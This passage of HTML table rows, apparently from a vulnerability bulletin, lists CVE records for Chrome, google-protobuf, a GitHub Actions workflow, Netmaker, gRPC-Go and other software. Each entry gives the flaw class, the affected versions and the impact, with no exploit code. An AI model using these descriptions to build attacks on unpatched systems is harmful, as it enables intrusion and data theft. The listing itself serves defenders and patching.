&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91729&quot; target=&quot;_blank&quot;&gt;CVE-2026-91729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incomplete cleanup in GetUserMedia in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91730&quot; target=&quot;_blank&quot;&gt;CVE-2026-91730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in Compositing in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91731&quot; target=&quot;_blank&quot;&gt;CVE-2026-91731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in AppManifest in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91732&quot; target=&quot;_blank&quot;&gt;CVE-2026-91732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper state validation in Skia in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91733&quot; target=&quot;_blank&quot;&gt;CVE-2026-91733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Core in Google Chrome on on Windows prior to 153.0.8010.47 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91734&quot; target=&quot;_blank&quot;&gt;CVE-2026-91734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in WebUI in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91735&quot; target=&quot;_blank&quot;&gt;CVE-2026-91735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in DOM in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91736&quot; target=&quot;_blank&quot;&gt;CVE-2026-91736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in PDF in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91737&quot; target=&quot;_blank&quot;&gt;CVE-2026-91737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper input validation in ANGLE in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91738&quot; target=&quot;_blank&quot;&gt;CVE-2026-91738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Transactions Platform in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91739&quot; target=&quot;_blank&quot;&gt;CVE-2026-91739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in Skia in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91740&quot; target=&quot;_blank&quot;&gt;CVE-2026-91740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in CacheStorage in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91741&quot; target=&quot;_blank&quot;&gt;CVE-2026-91741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Confused deputy in PriceTracking in Google Chrome on on iOS prior to 153.0.8010.47 allowed a remote attacker leveraging social engineering to bypass system access restrictions into a privileged page via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91742&quot; target=&quot;_blank&quot;&gt;CVE-2026-91742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Core in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91743&quot; target=&quot;_blank&quot;&gt;CVE-2026-91743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in PlatformIntegration in Google Chrome on on Mac prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91744&quot; target=&quot;_blank&quot;&gt;CVE-2026-91744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in V8 in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91745&quot; target=&quot;_blank&quot;&gt;CVE-2026-91745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Integer overflow in Compositing in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91746&quot; target=&quot;_blank&quot;&gt;CVE-2026-91746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Skia in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91747&quot; target=&quot;_blank&quot;&gt;CVE-2026-91747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Extensions in Google Chrome on on Mac prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91748&quot; target=&quot;_blank&quot;&gt;CVE-2026-91748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Workers in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91749&quot; target=&quot;_blank&quot;&gt;CVE-2026-91749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Buffer overflow in WebGL in Google Chrome on on Android prior to 153.0.8010.52 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93372&quot; target=&quot;_blank&quot;&gt;CVE-2026-93372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Extensions in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93373&quot; target=&quot;_blank&quot;&gt;CVE-2026-93373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Dawn in Google Chrome on on Android prior to 153.0.8010.52 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93374&quot; target=&quot;_blank&quot;&gt;CVE-2026-93374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect reference resolution in Tracing in Google Chrome on on Windows prior to 153.0.8010.52 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93375&quot; target=&quot;_blank&quot;&gt;CVE-2026-93375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in DataTransfer in Google Chrome prior to 153.0.8010.52 allowed a local attacker leveraging social engineering to read memory outside the sandbox via a local program. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93376&quot; target=&quot;_blank&quot;&gt;CVE-2026-93376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in V8 in Google Chrome prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93377&quot; target=&quot;_blank&quot;&gt;CVE-2026-93377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Storage in Google Chrome prior to 153.0.8010.52 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted PDF file. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93378&quot; target=&quot;_blank&quot;&gt;CVE-2026-93378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect authorization in ORB in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93379&quot; target=&quot;_blank&quot;&gt;CVE-2026-93379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in FileSystem in Google Chrome prior to 153.0.8010.52 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93380&quot; target=&quot;_blank&quot;&gt;CVE-2026-93380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Buffer overflow in PDFium in Google Chrome on on Windows prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93381&quot; target=&quot;_blank&quot;&gt;CVE-2026-93381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in PDFium in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93382&quot; target=&quot;_blank&quot;&gt;CVE-2026-93382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Permissions in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93383&quot; target=&quot;_blank&quot;&gt;CVE-2026-93383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Server-side request forgery in Omnibox in Google Chrome on on Android prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93384&quot; target=&quot;_blank&quot;&gt;CVE-2026-93384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Information leak in Paint in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93385&quot; target=&quot;_blank&quot;&gt;CVE-2026-93385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;UI misrepresentation in WebAppInstalls in Google Chrome prior to 153.0.8010.52 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93386&quot; target=&quot;_blank&quot;&gt;CVE-2026-93386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Improper state validation in Skia in Google Chrome prior to 153.0.8010.52 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93387&quot; target=&quot;_blank&quot;&gt;CVE-2026-93387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--protobuf-javascript (aka google-protobuf npm package)&lt;/td&gt;
&lt;td&gt;google-protobuf contains an unbounded recursion when parsing unknown protobuf group fields. An attacker can send a small crafted payload of deeply nested START_GROUP wire bytes to any Node.js service that calls the generated deserializeBinary() API, causing a RangeError: Maximum call stack size exceeded and crashing the process. No authentication or prior knowledge of the schema is required.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89418&quot; target=&quot;_blank&quot;&gt;CVE-2026-89418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gouef--githubtoplanguages&lt;/td&gt;
&lt;td&gt;githubtoplanguages generates a user&#039;s top GitHub languages as an SVG. The .github/workflows/discord-issue.yml workflow runs when an issue is opened or closed and interpolates github.event.issue.title directly into the Bash assignment for ISSUE_TITLE before shell parsing. An issue title containing shell command-substitution syntax can therefore execute commands on the GitHub Actions runner before the title is included in the Discord notification sent through DISCORD_WEBHOOK. Successful exploitation can manipulate or spoof trusted bot notifications and may expose the Discord webhook secret or other workflow environment data, depending on repository permissions. This issue is fixed by commit 6bf9c3a9cb66c937b9047ca266b3d02f2bb11027.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58502&quot; target=&quot;_blank&quot;&gt;CVE-2026-58502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gravitl--netmaker&lt;/td&gt;
&lt;td&gt;Netmaker makes networks with WireGuard. Prior to version 1.5.0, the `sqliteDeleteRecord` function in Netmaker&#039;s database layer constructs SQL `DELETE` statements using direct string concatenation of user-supplied input. This allows an authenticated attacker to perform boolean-based SQL injection. Version 1.5.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-32599&quot; target=&quot;_blank&quot;&gt;CVE-2026-32599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grpc--grpc-go&lt;/td&gt;
&lt;td&gt;gRPC-Go is the Go language implementation of gRPC. Prior to 1.82.2 and 1.83.2, servers created with xds.NewGRPCServer() allow internal/transport/http2_server.go to accept an RPC containing neither the :authority header nor the Host header, while RouteAndProcess in internal/xds/server/routing.go assumes that an authority value exists and indexes the empty slice. A remote client that can complete transport connection establishment can trigger an index-out-of-bounds panic that is not recovered by the per-RPC goroutine and terminates the entire server process. In insecure or ordinary TLS deployments the request can be unauthenticated, while strict mTLS or ALTS deployments require valid transport credentials before the malformed RPC can reach the interceptor. This issue is fixed in versions 1.82.2 and 1.83.2.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84445&quot; target=&quot;_blank&quot;&gt;CVE-2026-84445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hiperdino--REST API&lt;/td&gt;
&lt;td&gt;Inadequate access control in Hiperdino&#039;s REST v1.0 API. The public endpoint &#039;customer/check&#039; could allow an authenticated attacker to enter a telephone number or an email address. When the value entered belongs to a registered customer, the service returns the associated information (email address and telephone number). No authentication is required beyond a static bearer token, and there is no rate limiting or generic error handling. Successful exploitation of this vulnerability could allow a remote attacker to enumerate a user&#039;s contact details, although this would require obtaining a valid static bearer token, constituting an information disclosure vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12258&quot; target=&quot;_blank&quot;&gt;CVE-2026-12258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Howyar Technologies Inc--SysReturn&lt;/td&gt;
&lt;td&gt;An issue in Howyar Technologies Inc SysReturn Versions prior to 11.3.034 and fixed in v.11.3.0.34 allows a local attcker to execute arbitrary code via the BOOTia32.efi and a crafted cloak32.dat file on the ESP.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79298&quot; target=&quot;_blank&quot;&gt;CVE-2026-79298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc--HP AC Print &amp;amp; Scan&lt;/td&gt;
&lt;td&gt;HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89082&quot; target=&quot;_blank&quot;&gt;CVE-2026-89082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc--HP AC Print &amp;amp; Scan&lt;/td&gt;
&lt;td&gt;HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89083&quot; target=&quot;_blank&quot;&gt;CVE-2026-89083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc--HP AC Print &amp;amp; Scan&lt;/td&gt;
&lt;td&gt;HP has identified potential security vulnerabilities in the HP Advance software that may enable elevation of privilege, remote code execution, or arbitrary file write under certain conditions, impacting the HP Advance server hosting the software.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
